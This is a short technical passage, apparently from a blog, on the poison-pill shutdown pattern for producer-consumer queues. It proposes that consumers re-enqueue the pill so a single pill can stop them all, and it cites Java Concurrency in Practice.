    What is the problem?

    This solution suppose producers and consumers know the quantity of each other. Also, if we have N producers and M consumers, then number of poison pills will be N*M, which could be large.

    Alternative Solution

    One alternative solution is we relax the constraints so that consumers could also offer messages into queue, but only when it is trying to stop the whole service.

    On producers’ side, when all producers are going to leave the service, the last producer send a poison pill to the queue. This could be done by several ways, one way is to elect a leader so the leader send the poison pill and then every producer leaves.

    On consumers’ side, when any of consumers get a poison pill, it first the poison pill back to queue and leave the service. So that all consumers will finally leave the service.

    This solution is based on that producers know each other, and consumers know each other, but producers and consumers don’t know each other, which makes more sense in real world.

    Reference

    1. “Poison Pill Shutdown” in Java Concurrency in Practice